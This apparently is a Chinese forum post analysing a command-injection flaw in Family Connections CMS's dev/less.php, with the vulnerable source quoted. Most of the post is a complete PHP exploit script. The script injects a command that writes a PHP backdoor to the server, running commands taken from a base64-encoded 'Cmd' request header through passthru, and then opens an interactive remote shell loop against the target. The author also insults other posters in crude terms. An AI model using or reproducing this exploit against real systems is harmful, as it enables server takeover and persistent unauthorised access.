Author:TPCS
From:90sec
Blog:http://blog.163.com/jianshitianxia_ao/
0x01 引言
最近在练习些PoC,找个这个老洞来练手,最早的PoC发布是在exploitDB上,就不贴链接了,大家自己去搜下吧。一开始拿到原来的PoC,想搜下相关内容,看看有没有什么信息之类的,结果搜出来的内容,真是让我想骂人,国内的关于这个漏洞,基本上就是把人家原文贴上去,一点说明都没有。而且exploitDB上的PoC是有限制的,PoC的运行环境要是linux,目标的建站环境也要是linux,所以我得出一个结论,这些贴PoC的傻逼们,连测试都没做就贴出来,给自己装下逼。
好了,牢骚发完了,入正题吧。这个漏洞主要形成的原因是由于/dev/less.php这个文件中,用到system函数时,直接将未做任何过滤的变量$theme插入参数中,而导致的命令执行问题。有问题的代码如下:
$theme = isset($argv[1]) ? $argv[1] : 'default';
system("clear");
if (file_exists("$dir/themes/$theme/style.css"))
{
echo "\n[ themes/$theme/style.css ] already exists.\n\n";
echo "Overwrite [ y/n ] ? ";
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if (trim($line) != 'y')
{
exit;
}
}
$worked = system("php -q ~/bin/lessphp/lessc $dir/themes/$theme/dev.less > $dir/themes/$theme/style.css");
0x02 利用
虽然,自己测试原来的PoC时,纠结了一段时间,但是,后来通过自己抓包分析,明白大致问题所在这个过程,自己也学到不少东西。稍微解释下我遇到的问题,linux和windows下的命令行操作,在连接字符上是有些不同的,例如windows下输入“echo hello ; net user”将会打印出“hello ; net user”,但是在linux下输入“echo hello ; ifconfig”则会打印hello,并执行ifconfig。原来的PoC就是针对linux服务器编写的,所以它的所发的命令用的“;”,所以我在针对windows服务器实现的过程中将“;”修改为&。具体实现方法,大家看后面的PoC吧。
这个漏洞的利用,还用到了全局变量覆盖的内容,所以在PHP5.3以前的版本中,必须要将register_globals打开。但是在PHP5.3之后,register_globals这个参数取消掉了,也就是说PHP5.3之后register_gloals永远是关闭的了,这个问题在5.3之后便不存在了。
0x03 PoC
编写PoC的过程中遇到了一个关于default_socket_timeout的理解问题,稍微试验了下,明白的了这个设置大概的意思。具体内容,想看的朋友到我的博客上去看吧,这里就不多讲了。
我实现PoC的思路和原来作者有些不同,她直接通过漏洞文件中system命令和攻击者形成交互,但是这样做,交互的时间会很慢。所以,我采用的方法是至于漏洞文件进行一次交互执行system函数,生成一个后门php文件,然后PoC与这个php文件进行交互,具体细节大家看代码吧。
<?php
print_r("
--------------------------------------------------------------------------------
Family Connections CMS v2.5.0-v2.7.1 (less.php) remote command execution exploit
by TPCS [url=http://blog.163.com/jianshitianxia_ao/]http://blog.163.com/jianshitianxia_ao/[/url]
--------------------------------------------------------------------------------
");
if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
用法: php ".$argv[0]." <目标ip[:端口]> <CMS路径> <后门文件名>
目标ip: 目标ip地址,若不填写端口,默认为80
CMS路径: Family Connections CMS所在目录
后门文件名: 利用成功后会生成一个后门文件,留空则为TPCS.php
Example:
php ".$argv[0]." 192.168.1.5:80 /wp/ fuck.php
php ".$argv[0]." 192.168.1.5 /wp/
输入exit结束交互
-----------------------------------------------------------------------------
"); die;
}
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",8);
function CPacket($host,$path,$doorname){
$packet = "GET ".$path."dev/less.php?argv[1]=";
$packet .= urlencode("||echo ^<?php error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?^> > {$doorname} ||");
$packet .= " HTTP/1.1\r\n";
$packet .= "Host:".$host."\r\n";
$packet .= "\r\n";
return $packet;
}
function SPacket($host,$port,$packet){
if(!($socket = fsockopen($host,$port)))
die("\n[-] No response from {$host}:{$port}\n");
fputs($socket,$packet);
return stream_get_contents($socket);
}
function SArgs($argv){
$Args = array();
if(strpos($argv[1],":")){
$HP = explode(":",$argv[1]);
$host = $HP[0];
$port = (int)$HP[1];
}
else{
$host = $argv[1];
$port = 80;
}
$Args['host'] = $host;
$Args['port'] = $port;
$Args['path'] = $argv[2];
if($argv[3] != '' || $argv[3] != null)
$Args['doorname'] = $argv[3];
else
$Args['doorname'] = "TPCS.php";
return $Args;
}
$myArgs = SArgs($argv);
$host = $myArgs['host'];
$port = $myArgs['port'];
$path = $myArgs['path'];
$doorname = $myArgs['doorname'];
$myPacket = CPacket($host,$path,$doorname);
$mySent = SPacket($host,$port,$myPacket);
if(strpos($mySent,"||echo ^<?php")){
print_r("利用成功\n");
$myPacket = "GET {$path}dev/{$doorname} HTTP/1.0\r\n";
$myPacket .= "Host: {$host}\r\n";
$myPacket .= "Cmd: %s\r\n";
$myPacket .= "Connection: close\r\n\r\n";
while(1){
print "\nshell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = SPacket($host, $port,sprintf($myPacket, base64_encode($cmd)));
preg_match('/\r\n\r\n(.*)\s*/s',$response,$value)?print $value[1]:die("貌似没成功:-(");
}
}
else
print_r("利用失败");
?>